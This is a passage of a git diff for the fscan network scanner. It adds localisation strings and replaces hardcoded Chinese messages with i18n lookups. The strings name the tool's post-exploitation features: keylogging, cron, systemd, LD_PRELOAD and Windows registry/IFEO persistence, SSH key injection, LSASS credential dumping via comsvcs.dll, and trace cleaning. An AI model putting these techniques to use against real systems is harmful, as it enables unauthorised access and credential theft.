"✓ SOCKS5代理已完成" +socks5_handshake_read_failed: + other: "读取握手请求失败" +socks5_unsupported_version: + other: "不支持的SOCKS版本" +socks5_handshake_write_failed: + other: "发送握手响应失败" +socks5_request_read_failed: + other: "读取连接请求失败" +socks5_invalid_request: + other: "无效的SOCKS5请求" +socks5_unsupported_command: + other: "不支持的命令" +ipv4_address_invalid: + other: "IPv4地址格式错误" +domain_format_invalid: + other: "域名格式错误" +domain_length_invalid: + other: "域名长度错误" +ipv6_address_invalid: + other: "IPv6地址格式错误" +socks5_unsupported_address_type: + other: "不支持的地址类型" +socks5_target_connect_failed: + other: "连接目标服务器失败" +local_address_unavailable: + other: "无法获取本地地址" +socks5_success_response_failed: + other: "发送成功响应失败" +socks5_proxy_connection_established: + other: "建立代理连接: {{.Arg1}}" +keylogger_header: + other: "=== 键盘记录 ===" +keylogger_output_permission_failed: + other: "输出文件权限检查失败: {{.Arg1}}" +platform_requirement_failed: + other: "平台要求检查失败: {{.Arg1}}" +keylogger_failed: + other: "键盘记录失败: {{.Arg1}}" +keylogger_failed_plain: + other: "键盘记录失败" +keylogger_done: + other: "✓ 键盘记录已完成" +keylogger_event_count: + other: "捕获事件数: {{.Arg1}}" +keylogger_log_file: + other: "日志文件: {{.Arg1}}" +output_file_create_failed: + other: "无法创建输出文件 {{.Arg1}}" +output_file_open_failed: + other: "无法打开输出文件" +keylogger_log_header: + other: "=== 键盘记录日志 ===" +keylogger_header_write_failed: + other: "写入头部信息失败" +keylogger_entry_write_failed: + other: "写入键盘记录失败" +keylogger_demo_windows: + other: "演示键盘记录 - Windows平台" +keylogger_demo_linux: + other: "演示键盘记录 - Linux平台" +keylogger_demo_darwin: + other: "演示键盘记录 - macOS平台" +command_read_failed: + other: "读取命令错误" +local_target_file: + other: "目标文件: {{.Arg1}}" +persistence_file_required: + other: "必须通过 -persistence-file 参数指定目标文件路径" +target_file_not_specified: + other: "未指定目标文件" +target_file_not_exist: + other: "目标文件不存在: {{.Arg1}}" +copy_file_failed: + other: "✗ 复制文件失败: {{.Arg1}}" +file_copied_to: + other: "✓ 文件已复制到: {{.Arg1}}" +persistence_complete_summary: + other: "持久化完成: 成功({{.Arg1}}) 总计({{.Arg2}})" +crontask_linux_only: + other: "计划任务持久化只支持Linux平台" +crontab_unavailable: + other: "crontab命令不可用" +crontask_header: + other: "=== 计划任务持久化 ===" +crontask_user_add_failed: + other: "✗ 添加用户cron任务失败: {{.Arg1}}" +crontask_user_added: + other: "✓ 已添加用户crontab任务" +crontask_system_add_failed: + other: "✗ 添加系统cron任务失败: {{.Arg1}}" +crontask_system_added: + other: "✓ 已添加系统cron任务: {{.Arg1}}" +crontask_at_add_failed: + other: "✗ 添加at任务失败: {{.Arg1}}" +crontask_at_added: + other: "✓ 已添加at延时任务" +crontask_anacron_add_failed: + other: "✗ 添加anacron任务失败: {{.Arg1}}" +crontask_anacron_added: + other: "✓ 已添加anacron任务" +persistence_dir_create_failed: + other: "无法创建持久化目录" +crontask_system_create_none: + other: "无法创建任何系统cron任务" +systemdservice_linux_only: + other: "系统服务持久化只支持Linux平台" +systemctl_unavailable: + other: "systemctl命令不可用: {{.Arg1}}" +systemdservice_header: + other: "=== 系统服务持久化 ===" +systemdservice_create_failed: + other: "✗ 创建systemd服务失败: {{.Arg1}}" +systemdservice_created: + other: "✓ 已创建systemd服务: {{.Arg1}}" +systemdservice_start_failed: + other: "✗ 启动服务失败: {{.Arg1}}" +systemdservice_started: + other: "✓ 服务已启用并启动" +systemdservice_user_create_failed: + other: "✗ 创建用户服务失败: {{.Arg1}}" +systemdservice_user_created: + other: "✓ 已创建用户服务: {{.Arg1}}" +systemdservice_timer_create_failed: + other: "✗ 创建定时器服务失败: {{.Arg1}}" +systemdservice_timer_created: + other: "✓ 已创建systemd定时器" +systemdservice_complete_summary: + other: "系统服务持久化完成: 成功({{.Arg1}}) 总计({{.Arg2}})" +service_dir_create_failed: + other: "无法创建服务目录" +systemdservice_create_none: + other: "无法创建任何systemd服务文件" +service_operation_error: + other: "服务操作错误" +ldpreload_linux_only: + other: "LD_PRELOAD持久化只支持Linux平台" +ldpreload_so_required: + other: "目标文件必须是 .so 动态库文件: {{.Arg1}}" +invalid_file_type: + other: "无效文件类型" +ldpreload_header: + other: "=== LD_PRELOAD持久化 ===" +ldpreload_copy_system_failed: + other: "✗ 复制文件到系统目录失败: {{.Arg1}}" +ldpreload_env_add_failed: + other: "✗ 添加环境变量失败: {{.Arg1}}" +ldpreload_env_added: + other: "✓ 已添加到全局环境变量" +ldpreload_shell_add_failed: + other: "✗ 添加到shell配置失败: {{.Arg1}}" +ldpreload_shell_added: + other: "✓ 已添加到shell配置: {{.Arg1}}" +ldpreload_config_create_failed: + other: "✗ 创建ld配置失败: {{.Arg1}}" +ldpreload_config_created: + other: "✓ 已创建ld预加载配置" +ldpreload_complete_summary: + other: "LD_PRELOAD持久化完成: 成功({{.Arg1}}) 总计({{.Arg2}})" +ldpreload_system_lib_dir_not_found: + other: "找不到合适的系统库目录" +ldpreload_shell_config_modify_none: + other: "无法修改任何shell配置文件" +cleaner_removed: + other: "[清理] {{.Arg1}}" +cleaner_history_removed: + other: "[清理] {{.Arg1}} 中的 fscan 记录" +sshkey_mkdir_failed: + other: "[失败] {{.Arg1}}: 无法创建 .ssh 目录: {{.Arg2}}" +sshkey_generate_failed: + other: "[失败] {{.Arg1}}: 密钥生成失败: {{.Arg2}}" +sshkey_authorized_read_failed: + other: "[失败] {{.Arg1}}: 读取 authorized_keys 失败: {{.Arg2}}" +sshkey_public_exists: + other: "[跳过] {{.Arg1}}: 公钥已存在" +sshkey_authorized_write_failed: + other: "[失败] {{.Arg1}}: 无法写入 authorized_keys: {{.Arg2}}" +sshkey_private_save_failed: + other: "[失败] {{.Arg1}}: 私钥保存失败: {{.Arg2}}" +sshkey_injected: + other: "[成功] {{.Arg1}}: 公钥已注入 {{.Arg2}},私钥保存为 {{.Arg3}}" +minidump_admin_required: + other: "需要管理员权限" +minidump_load_dll_failed: + other: "加载系统DLL失败: {{.Arg1}}" +minidump_try_direct: + other: "[*] 尝试直接内存转储..." +minidump_av_skip_direct: + other: "[*] 检测到杀软防护,跳过直接dump" +minidump_try_comsvcs: + other: "[*] 尝试 comsvcs.dll 方式..." +minidump_try_regsave: + other: "[*] 尝试 reg save 导出注册表..." +minidump_all_failed: + other: "[!] 所有方式均失败" +minidump_all_methods_failed: + other: "所有凭据提取方式均失败" +minidump_find_lsass_failed: + other: " 查找lsass.exe失败: {{.Arg1}}" +minidump_privilege_failed: + other: " 权限提升失败: {{.Arg1}}" +minidump_direct_failed: + other: " 直接dump失败: {{.Arg1}}" +minidump_method_direct: + other: "直接内存转储" +minidump_comsvcs_failed: + other: " comsvcs.dll失败: {{.Arg1}}" +minidump_hive_export_failed: + other: " ✗ {{.Arg1}} 导出失败" +minidump_regsave_done: + other: "[+] 注册表 hive 导出完成,可用 secretsdump 离线解析" +minidump_method_success: + other: "[+] {{.Arg1}}成功: {{.Arg2}} ({{.Arg3}} bytes)" +minidump_load_named_dll_failed: + other: "加载 {{.Arg1}} 失败" +minidump_find_proc_failed: + other: "查找{{.Arg1}}函数失败" +minidump_snapshot_create_failed: + other: "创建进程快照失败" +minidump_first_process_failed: + other: "获取第一个进程失败" +minidump_process_name_convert_failed: + other: "转换进程名失败" +minidump_process_not_found: + other: "未找到进程: {{.Arg1}}" +minidump_open_process_token_failed: + other: "打开进程令牌失败" +minidump_privilege_name_convert_failed: + other: "转换权限名称失败" +minidump_lookup_privilege_failed: + other: "查找特权值失败" +minidump_adjust_token_failed: + other: "调整令牌特权失败" +minidump_current_process_failed: + other: "获取当前进程句柄失败" +minidump_timeout: + other: "内存转储超时 (120秒)" +minidump_write_dump_failed: + other: "写入转储文件失败" +minidump_open_process_failed: + other: "打开进程失败" +file_create_failed: + other: "创建文件失败" +local_step_failed: + other: "[失败] {{.Arg1}}: {{.Arg2}}" +local_step_success: + other: "[成功] {{.Arg1}}" +local_step_success_detail: + other: "[成功] {{.Arg1}} ({{.Arg2}})" +local_step_success_arrow: + other: "[成功] {{.Arg1}} -> {{.Arg2}}" +winregistry_current_user_run: + other: "当前用户 Run" +winregistry_local_machine_run: + other: "本地机器 Run" +winregistry_current_user_runonce: + other: "当前用户 RunOnce" +winregistry_step_success: + other: "[成功] {{.Arg1}}: {{.Arg2}}\\{{.Arg3}}" +winifeo_sticky_keys: + other: "粘滞键 (Shift×5)" +winifeo_accessibility: + other: "辅助功能 (Win+U)" +winifeo_narrator: + other: "讲述人" +winlogon_userinit_append: + other: "Userinit 追加" +winlogon_shell_append: + other: "Shell 追加" +winbits_create_task_failed: + other: "[失败] 创建任务: {{.Arg1}}" +winbits_guid_extract_failed: + other: "[失败] 无法提取任务 GUID" +winbits_task_created: + other: "[成功] 创建任务: {{.Arg1}} ({{.Arg2}})" +winbits_add_file: + other: "添加文件" +winbits_set_callback: + other: "设置回调" +winbits_set_retry: + other: "设置重试" +winbits_resume_task: + other: "恢复任务" +winstartup_user_folder: + other: "用户启动文件夹" +winstartup_common_folder: + other: "公共启动文件夹" +cleaner_restore_winlogon_shell: + other: "[恢复] Winlogon Shell: {{.Arg1}} → {{.Arg2}}" +cleaner_restore_winlogon_userinit: + other: "[恢复] Winlogon Userinit: {{.Arg1}} → {{.Arg2}}" +cleaner_ifeo_removed: + other: "[清理] IFEO: {{.Arg1}}" +cleaner_registry_removed: + other: "[清理] 注册表: {{.Arg1}}\\{{.Arg2}}" +cleaner_schtask_removed: + other: "[清理] 计划任务: {{.Arg1}}" +cleaner_service_removed: + other: "[清理] 服务: {{.Arg1}}" +cleaner_startup_removed: + other: "[清理] 启动文件夹: {{.Arg1}}" +cleaner_bits_removed: + other: "[清理] BITS: {{.Arg1}}" +cleaner_wmi_removed: + other: "[清理] WMI 事件订阅" +cleaner_prefetch_removed: + other: "[清理] Prefetch: {{.Arg1}}" +systeminfo_antivirus_process_count: + other: "{{.Arg1}} ({{.Arg2}}个进程)" +powershell_exec_failed: + other: "PowerShell执行失败" +command_output: + other: "输出" +webtitle_no_fingerprint_skip_poc: + other: "WebTitle {{.Arg1}} 无匹配指纹,跳过POC扫描" +webtitle_cdn_waf_skip_poc: + other: "WebTitle {{.Arg1}} 检测到{{.Arg2}},跳过POC扫描" +webtitle_trigger_fingerprint_poc: + other: "WebTitle {{.Arg1}} 触发指纹POC扫描: {{.Arg2}}" +webpoc_disabled: + other: "POC扫描已禁用" +webpoc_full_scan_mode: + other: "WebPOC {{.Arg1}} 全量扫描模式" +web_result_weak_credential: + other: "弱口令" +web_result_anonymous_access: + other: "匿名访问" +web_result_vulnerability: + other: "漏洞" +web_result_weak_credential_detail: + other: "弱口令: {{.Arg1}}" # ========================= Redis插件消息 ========================= redis_reconnect_failed: @@ -822,6 +1572,94 @@ webscan_request_restricted: other: "POC HTTP请求 {{.Arg1}} 受限: {{.Arg2}}" webscan_response_parse_failed: other: "响应解析失败: {{.Arg1}}" +webscan_err_invalid_url: + other: "无效的URL格式" +webscan_err_empty_target: + other: "目标URL为空" +webscan_err_poc_not_found: + other: "未找到匹配的POC" +webscan_err_poc_load_failed: + other: "POC加载失败" +fingerprint_enhanced_parse_failed: + other: "解析增强指纹库失败" +webscan_cel_env_not_initialized: + other: "基础CEL环境未初始化" +webscan_expression_compile_failed: + other: "表达式编译错误" +webscan_program_create_failed: + other: "程序创建错误" +webscan_expression_eval_failed: + other: "表达式评估错误" +webscan_request_execute_failed: + other: "请求执行失败" +webscan_request_body_read_failed: + other: "读取请求体失败" +webscan_response_body_process_failed: + other: "处理响应体失败" +webscan_http_client_init_failed: + other: "HTTP客户端初始化失败" +webscan_socks5_proxy_config_failed: + other: "SOCKS5代理配置失败" +webscan_unsupported_proxy_type: + other: "不支持的代理类型" +webscan_proxy_url_parse_failed: + other: "代理URL解析失败" +webscan_strmap_parse_failed: + other: "StrMap解析失败: 键或值不是字符串类型" +webscan_rulemap_key_invalid: + other: "RuleMap解析失败: 键不是字符串类型" +webscan_listmap_key_invalid: + other: "ListMap解析失败: 键不是字符串类型" +webscan_listmap_value_invalid: + other: "ListMap解析失败: 值不是数组类型" +webscan_poc_load_one_failed: + other: "POC加载失败 {{.Arg1}}: {{.Arg2}}" +webscan_poc_parse_failed: + other: "POC解析失败" +webscan_poc_convert_failed: + other: "POC格式转换失败" +webscan_poc_file_read_failed: + other: "POC文件读取失败" +webscan_poc_dir_read_failed: + other: "读取POC目录失败: {{.Arg1}}" +webscan_unknown_poc_format: + other: "未知POC格式" +webscan_fscan_format_parse_failed: + other: "fscan格式解析失败" +webscan_nuclei_format_parse_failed: + other: "nuclei格式解析失败" +webscan_nuclei_no_http_rules: + other: "nuclei模板没有有效的HTTP规则" +webscan_xray_format_parse_failed: + other: "xray格式解析失败" +webscan_xray_no_rules: + other: "xray POC没有有效的规则" +webscan_afrog_format_parse_failed: + other: "afrog格式解析失败" +webscan_afrog_no_rules: + other: "afrog POC没有有效的规则" +webscan_vuln_detail_header: + other: "目标: {{.Arg1}}\n 漏洞类型: {{.Arg2}}\n 漏洞名称: {{.Arg3}}\n 详细信息:" +webscan_vuln_author: + other: "作者:{{.Arg1}}" +webscan_vuln_references: + other: "参考链接:{{.Arg1}}" +webscan_vuln_description: + other: "描述:{{.Arg1}}" +webscan_exec_env_error: + other: "执行环境错误" +webscan_request_parse_error: + other: "请求解析错误" +webscan_request_create_error: + other: "请求创建错误" +webscan_vuln_detected: + other: "检测到漏洞 {{.Arg1}} {{.Arg2}}" +webscan_vuln_detected_params: + other: "检测到漏洞 {{.Arg1}} {{.Arg2}} 参数:{{.Arg3}}" +webscan_http_request_error: + other: "HTTP请求错误" +webscan_request_send_error: + other: "请求发送错误" # Main 入口 param_error: @@ -847,6 +1685,112 @@ web_shutting_down: web_mode_not_supported: other: "当前版本不支持Web模式,请使用 -tags web 重新编译" +# ========================= Debug消息 ========================= +debug_create_profiles_failed: + other: "创建 profiles 目录失败: {{.Arg1}}" +debug_create_cpu_profile_failed: + other: "创建 CPU profile 失败: {{.Arg1}}" +debug_start_cpu_profile_failed: + other: "启动 CPU profile 失败: {{.Arg1}}" +debug_cpu_profile_started: + other: "CPU profiling 已启动 -> {{.Arg1}}/cpu.prof" +debug_create_trace_failed: + other: "创建 trace 文件失败: {{.Arg1}}" +debug_start_trace_failed: + other: "启动 trace 失败: {{.Arg1}}" +debug_trace_started: + other: "Execution trace 已启动 -> {{.Arg1}}/trace.out" +debug_profiling_started: + other: "性能分析已启动,程序结束时自动保存到 {{.Arg1}}/" +debug_cpu_profile_saved: + other: "CPU profile 已保存" +debug_trace_saved: + other: "Trace 已保存" +debug_create_mem_profile_failed: + other: "创建内存 profile 失败: {{.Arg1}}" +debug_write_mem_profile_failed: + other: "写入内存 profile 失败: {{.Arg1}}" +debug_mem_profile_saved: + other: "内存 profile 已保存 -> {{.Arg1}}/mem.prof" +debug_create_goroutine_profile_failed: + other: "创建 goroutine profile 失败: {{.Arg1}}" +debug_write_goroutine_profile_failed: + other: "写入 goroutine profile 失败: {{.Arg1}}" +debug_goroutine_profile_saved: + other: "Goroutine profile 已保存 -> {{.Arg1}}/goroutine.prof" +debug_profiles_saved: + other: "所有性能分析文件已保存到 {{.Arg1}}/" +debug_view_methods: + other: "查看方法:" +debug_cpu_flamegraph: + other: "CPU 火焰图" +debug_mem_flamegraph: + other: "内存火焰图" +debug_goroutine_analysis: + other: "协程分析" +debug_execution_timeline: + other: "执行时间线" + +# ========================= 代理消息 ========================= +proxy_unsupported_type: + other: "不支持的代理类型" +proxy_empty_config: + other: "配置不能为空" +proxy_socks5_parse_failed: + other: "SOCKS5代理地址解析失败" +proxy_socks5_create_failed: + other: "SOCKS5拨号器创建失败" +proxy_socks5_conn_timeout: + other: "SOCKS5连接超时" +proxy_socks5_conn_failed: + other: "SOCKS5连接失败" +proxy_direct_conn_failed: + other: "直连失败" +proxy_http_conn_failed: + other: "连接HTTP代理服务器失败" +proxy_http_set_write_timeout: + other: "设置写超时失败" +proxy_http_send_connect_failed: + other: "发送CONNECT请求失败" +proxy_http_set_read_timeout: + other: "设置读超时失败" +proxy_http_read_response_failed: + other: "读取HTTP响应失败" +proxy_http_status_failed: + other: "HTTP代理连接失败,状态码: %d" +proxy_tls_tcp_conn_failed: + other: "建立TCP连接失败" +proxy_tls_handshake_failed: + other: "TLS握手失败" + +# ========================= 输出消息 ========================= +output_section_hosts: + other: "# ===== 存活主机 =====" +output_section_ports: + other: "# ===== 开放端口 =====" +output_section_services: + other: "# ===== 服务信息 =====" +output_section_vulns: + other: "# ===== 漏洞信息 =====" +output_section_web_services: + other: "# ===== Web服务 =====" + +# ========================= 端口指纹消息 ========================= +portfinger_probe_protocol_invalid: + other: "探测器协议必须是 TCP 或 UDP" +portfinger_probe_name_invalid: + other: "nmap-service-probes - 探测器名称无效" +portfinger_input_empty: + other: "输入数据为空" +portfinger_probe_file_empty: + other: "读取nmap-service-probes文件失败: 内容为空" +portfinger_probe_exclude_duplicate: + other: "nmap-service-probes文件中只允许有一个Exclude指令" +portfinger_probe_first_line_invalid: + other: "解析错误: 首行必须以\"Probe \"或\"Exclude \"开头" +portfinger_match_directive_invalid: + other: "无效的{{.Arg1}}指令格式" + # ========================= 服务插件通用消息 ========================= service_no_credentials: other: "没有可用的测试凭据" diff --git a/common/initialize.go b/common/initialize.go index ce5431a..99a7671 100644 --- a/common/initialize.go +++ b/common/initialize.go @@ -30,7 +30,7 @@ func Initialize(info *HostInfo) (*InitResult, error) { // 2. 从 FlagVars 构建 Config 和 State cfg, state, err := BuildConfig(GetFlagVars(), info) if err != nil { - return nil, fmt.Errorf("配置构建失败: %w", err) + return nil, fmt.Errorf("%s: %w", i18n.GetText("config_build_failed"), err) } // 3. 设置全局实例 @@ -39,7 +39,7 @@ func Initialize(info *HostInfo) (*InitResult, error) { // 4. 初始化输出系统 if err := InitOutput(); err != nil { - return nil, fmt.Errorf("输出初始化失败: %w", err) + return nil, fmt.Errorf("%s: %w", i18n.GetText("output_init_failed"), err) } session := NewScanSession(cfg, state, GetFlagVars()) @@ -67,7 +67,7 @@ func ValidateExclusiveParams(info *HostInfo) error { if fv.TargetURL != "" { paramCount++ if activeParam != "" { - activeParam += " 和 -u" + activeParam = i18n.Tr("param_join_and", activeParam, "-u") } else { activeParam = "-u" } @@ -75,7 +75,7 @@ func ValidateExclusiveParams(info *HostInfo) error { if fv.LocalPlugin != "" { paramCount++ if activeParam != "" { - activeParam += " 和 -local" + activeParam = i18n.Tr("param_join_and", activeParam, "-local") } else { activeParam = "-local" } diff --git a/common/network.go b/common/network.go index ad61098..cdc2d9a 100644 --- a/common/network.go +++ b/common/network.go @@ -16,8 +16,8 @@ import ( "sync" "time" - "github.com/shadow1ng/fscan/common/proxy" "github.com/shadow1ng/fscan/common/i18n" + "github.com/shadow1ng/fscan/common/proxy" ) // ============================================================================= @@ -109,14 +109,14 @@ func createProxyConfig(timeout time.Duration) *proxy.ProxyConfig { func WrapperTcpWithTimeout(network, address string, timeout time.Duration) (net.Conn, error) { // 检查发包限制 - 在代理连接前进行控制 if canSend, reason := CanSendPacket(); !canSend { - LogError(fmt.Sprintf("TCP连接 %s 受限: %s", address, reason)) + LogError(i18n.Tr("tcp_connection_restricted", address, reason)) return nil, fmt.Errorf("%s", i18n.Tr("network_rate_limited", reason)) } // 获取全局拨号器(复用,避免重复创建) dialer, err := getGlobalDialer(timeout) if err != nil { - LogError(fmt.Sprintf("获取代理拨号器失败: %v", err)) + LogError(i18n.Tr("proxy_dialer_failed", err)) GetGlobalState().IncrementTCPFailedPacketCount() return nil, err } @@ -127,7 +127,7 @@ func WrapperTcpWithTimeout(network, address string, timeout time.Duration) (net. // 统计TCP包数量 - 无论是否使用代理都要计数 if err != nil { GetGlobalState().IncrementTCPFailedPacketCount() - LogDebug(fmt.Sprintf("连接 %s 失败: %v", address, err)) + LogDebug(i18n.Tr("connection_failed", address, err)) return nil, err } @@ -166,7 +166,7 @@ func IsSOCKS5Proxy() bool { func SafeHTTPDo(client *http.Client, req *http.Request) (*http.Response, error) { // 检查发包限制 if canSend, reason := CanSendPacket(); !canSend { - LogError(fmt.Sprintf("HTTP请求 %s 受限: %s", req.URL.String(), reason)) + LogError(i18n.Tr("http_request_restricted", req.URL.String(), reason)) return nil, fmt.Errorf("%s", i18n.Tr("network_rate_limited", reason)) } diff --git a/common/output/writers.go b/common/output/writers.go index d345b4a..4533204 100644 --- a/common/output/writers.go +++ b/common/output/writers.go @@ -9,6 +9,8 @@ import ( "strings" "sync" "time" + + "github.com/shadow1ng/fscan/common/i18n" ) // escapeControlChars 转义控制字符 @@ -112,13 +114,13 @@ func (w *TXTWriter) Write(result *ScanResult) error { func (w *TXTWriter) getSeparator(newType ResultType) string { switch newType { case TypeHost: - return "# ===== 存活主机 =====" + return i18n.GetText("output_section_hosts") case TypePort: - return "# ===== 开放端口 =====" + return i18n.GetText("output_section_ports") case TypeService: - return "# ===== 服务信息 =====" + return i18n.GetText("output_section_services") case TypeVuln: - return "# ===== 漏洞信息 =====" + return i18n.GetText("output_section_vulns") default: return "# ====================" } @@ -376,7 +378,7 @@ func (w *TXTWriter) writeWebServices() { return } - _, _ = w.bufWriter.WriteString("# ===== Web服务 =====\n") + _, _ = w.bufWriter.WriteString(i18n.GetText("output_section_web_services") + "\n") for _, url := range urls { _, _ = w.bufWriter.WriteString(url + "\n") } diff --git a/common/progress_manager.go b/common/progress_manager.go index a940805..fc794f6 100644 --- a/common/progress_manager.go +++ b/common/progress_manager.go @@ -221,7 +221,7 @@ func (pm *ProgressManager) generateProgressBar() string { if pm.total == 0 { spinner := pm.getActivityIndicator() - base := fmt.Sprintf("%s %s 等待中...", pm.description, spinner) + base := fmt.Sprintf("%s %s %s", pm.description, spinner, i18n.GetText("progress_waiting")) if packetInfo != "" { return base + " " + packetInfo } @@ -319,13 +319,15 @@ func (pm *ProgressManager) showCompletionInfo() { fmt.Print("\n") completionMsg := i18n.GetText("progress_scan_completed") + doneMsg := i18n.GetText("progress_done") + durationMsg := i18n.GetText("progress_duration") if pm.noColor { - fmt.Printf("[完成] %s %d/%d (耗时: %s)\n", - completionMsg, pm.total, pm.total, formatDuration(elapsed)) + fmt.Printf("[%s] %s %d/%d (%s: %s)\n", + doneMsg, completionMsg, pm.total, pm.total, durationMsg, formatDuration(elapsed)) } else { - fmt.Printf("%s[完成] %s %d/%d%s %s(耗时: %s)%s\n", - AnsiGreen, completionMsg, pm.total, pm.total, AnsiReset, - AnsiGray, formatDuration(elapsed), AnsiReset) + fmt.Printf("%s[%s] %s %d/%d%s %s(%s: %s)%s\n", + AnsiGreen, doneMsg, completionMsg, pm.total, pm.total, AnsiReset, + AnsiGray, durationMsg, formatDuration(elapsed), AnsiReset) } } diff --git a/common/proxy/constants.go b/common/proxy/constants.go index 09b4f71..5d8da00 100644 --- a/common/proxy/constants.go +++ b/common/proxy/constants.go @@ -2,6 +2,8 @@ package proxy import ( "time" + + "github.com/shadow1ng/fscan/common/i18n" ) /* @@ -151,41 +153,41 @@ const ( // 错误消息常量 // ============================================================================= -const ( +var ( // ErrMsgUnsupportedProxyType Manager错误消息 - 不支持的代理类型 - ErrMsgUnsupportedProxyType = "不支持的代理类型" + ErrMsgUnsupportedProxyType = i18n.GetText("proxy_unsupported_type") // ErrMsgEmptyConfig 配置不能为空 - ErrMsgEmptyConfig = "配置不能为空" + ErrMsgEmptyConfig = i18n.GetText("proxy_empty_config") // ErrMsgSOCKS5ParseFailed SOCKS5错误消息 - 地址解析失败 - ErrMsgSOCKS5ParseFailed = "SOCKS5代理地址解析失败" + ErrMsgSOCKS5ParseFailed = i18n.GetText("proxy_socks5_parse_failed") // ErrMsgSOCKS5CreateFailed 拨号器创建失败 - ErrMsgSOCKS5CreateFailed = "SOCKS5拨号器创建失败" + ErrMsgSOCKS5CreateFailed = i18n.GetText("proxy_socks5_create_failed") // ErrMsgSOCKS5ConnTimeout 连接超时 - ErrMsgSOCKS5ConnTimeout = "SOCKS5连接超时" + ErrMsgSOCKS5ConnTimeout = i18n.GetText("proxy_socks5_conn_timeout") // ErrMsgSOCKS5ConnFailed 连接失败 - ErrMsgSOCKS5ConnFailed = "SOCKS5连接失败" + ErrMsgSOCKS5ConnFailed = i18n.GetText("proxy_socks5_conn_failed") // ErrMsgDirectConnFailed 直连错误消息 - 直连失败 - ErrMsgDirectConnFailed = "直连失败" + ErrMsgDirectConnFailed = i18n.GetText("proxy_direct_conn_failed") // ErrMsgHTTPConnFailed HTTP代理错误消息 - 连接失败 - ErrMsgHTTPConnFailed = "连接HTTP代理服务器失败" + ErrMsgHTTPConnFailed = i18n.GetText("proxy_http_conn_failed") // ErrMsgHTTPSetWriteTimeout 设置写超时失败 - ErrMsgHTTPSetWriteTimeout = "设置写超时失败" + ErrMsgHTTPSetWriteTimeout = i18n.GetText("proxy_http_set_write_timeout") // ErrMsgHTTPSendConnectFail 发送CONNECT请求失败 - ErrMsgHTTPSendConnectFail = "发送CONNECT请求失败" + ErrMsgHTTPSendConnectFail = i18n.GetText("proxy_http_send_connect_failed") // ErrMsgHTTPSetReadTimeout 设置读超时失败 - ErrMsgHTTPSetReadTimeout = "设置读超时失败" + ErrMsgHTTPSetReadTimeout = i18n.GetText("proxy_http_set_read_timeout") // ErrMsgHTTPReadRespFailed 读取响应失败 - ErrMsgHTTPReadRespFailed = "读取HTTP响应失败" + ErrMsgHTTPReadRespFailed = i18n.GetText("proxy_http_read_response_failed") // ErrMsgHTTPProxyAuthFailed 代理认证失败 - ErrMsgHTTPProxyAuthFailed = "HTTP代理连接失败,状态码: %d" + ErrMsgHTTPProxyAuthFailed = i18n.GetText("proxy_http_status_failed") // ErrMsgTLSTCPConnFailed TLS错误消息 - TCP连接失败 - ErrMsgTLSTCPConnFailed = "建立TCP连接失败" + ErrMsgTLSTCPConnFailed = i18n.GetText("proxy_tls_tcp_conn_failed") // ErrMsgTLSHandshakeFailed TLS握手失败 - ErrMsgTLSHandshakeFailed = "TLS握手失败" + ErrMsgTLSHandshakeFailed = i18n.GetText("proxy_tls_handshake_failed") ) // ============================================================================= diff --git a/common/session.go b/common/session.go index 76d6155..42bdc96 100644 --- a/common/session.go +++ b/common/session.go @@ -93,14 +93,14 @@ func (s *ScanSession) LogError(errMsg string) { func (s *ScanSession) DialTCP(ctx context.Context, network, address string, timeout time.Duration) (net.Conn, error) { // 检查发包限制 if ok, err := CanSendPacketWith(s.Config, s.State); !ok { - s.LogError(fmt.Sprintf("TCP连接 %s 受限: %s", address, err.Error())) + s.LogError(i18n.Tr("tcp_connection_restricted", address, err.Error())) return nil, fmt.Errorf("%s", i18n.Tr("network_rate_limited", err.Error())) } // 获取 dialer dialer, err := s.getDialer(timeout) if err != nil { - s.LogError(fmt.Sprintf("获取代理拨号器失败: %v", err)) + s.LogError(i18n.Tr("proxy_dialer_failed", err)) s.State.IncrementTCPFailedPacketCount() return nil, err } @@ -108,7 +108,7 @@ func (s *ScanSession) DialTCP(ctx context.Context, network, address string, time conn, err := dialer.DialContext(ctx, network, address) if err != nil { s.State.IncrementTCPFailedPacketCount() - s.LogDebug(fmt.Sprintf("连接 %s 失败: %v", address, err)) + s.LogDebug(i18n.Tr("connection_failed", address, err)) return nil, err } @@ -141,7 +141,7 @@ func (s *ScanSession) DialUDP(ctx context.Context, address string, timeout time. // HTTPDo executes an HTTP request with the session's packet limits and counters. func (s *ScanSession) HTTPDo(client *http.Client, req *http.Request) (*http.Response, error) { if ok, err := CanSendPacketWith(s.Config, s.State); !ok { - s.LogError(fmt.Sprintf("HTTP请求 %s 受限: %s", req.URL.String(), err.Error())) + s.LogError(i18n.Tr("http_request_restricted", req.URL.String(), err.Error())) return nil, fmt.Errorf("%s", i18n.Tr("network_rate_limited", err.Error())) } diff --git a/core/adaptive_pool.go b/core/adaptive_pool.go index 2cd80d2..f700c86 100644 --- a/core/adaptive_pool.go +++ b/core/adaptive_pool.go @@ -8,6 +8,7 @@ import ( "github.com/panjf2000/ants/v2" "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/common/i18n" ) // AdaptivePool 自适应线程池 @@ -106,7 +107,7 @@ func (ap *AdaptivePool) maybeAdjust() { newSize = ap.minSize } ap.tune(newSize) - common.LogInfo(fmt.Sprintf("[AdaptivePool] 资源耗尽率 %.1f%%, 线程数 %d -> %d", rate*100, currentSize, newSize)) + common.LogInfo(i18n.Tr("adaptive_pool_resource_exhausted", fmt.Sprintf("%.1f", rate*100), currentSize, newSize)) } else if rate < ap.recoveryThreshold && currentSize < ap.maxSize { // 恢复:增加 10% 线程(保守恢复) newSize := int(float64(currentSize) * 1.1) diff --git a/core/alive_scanner.go b/core/alive_scanner.go index 5b04f9c..9a21d8f 100644 --- a/core/alive_scanner.go +++ b/core/alive_scanner.go @@ -38,7 +38,7 @@ type AliveStats struct { // NewAliveScanStrategy 创建新的存活探测扫描策略 func NewAliveScanStrategy() *AliveScanStrategy { return &AliveScanStrategy{ - BaseScanStrategy: NewBaseScanStrategy("存活探测", FilterNone), + BaseScanStrategy: NewBaseScanStrategy(i18n.GetText("scan_strategy_alive_name"), FilterNone), startTime: time.Now(), } } diff --git a/core/base_scan_strategy.go b/core/base_scan_strategy.go index e9064f7..f78b813 100644 --- a/core/base_scan_strategy.go +++ b/core/base_scan_strategy.go @@ -206,7 +206,7 @@ func formatPluginList(plugins []string) string { if len(plugins) <= 5 { return strings.Join(plugins, ", ") } - return fmt.Sprintf("%s ... 等%d个", strings.Join(plugins[:5], ", "), len(plugins)) + return i18n.Tr("plugin_list_summary", strings.Join(plugins[:5], ", "), len(plugins)) } // ValidateConfiguration 验证扫描配置 diff --git a/core/icmp.go 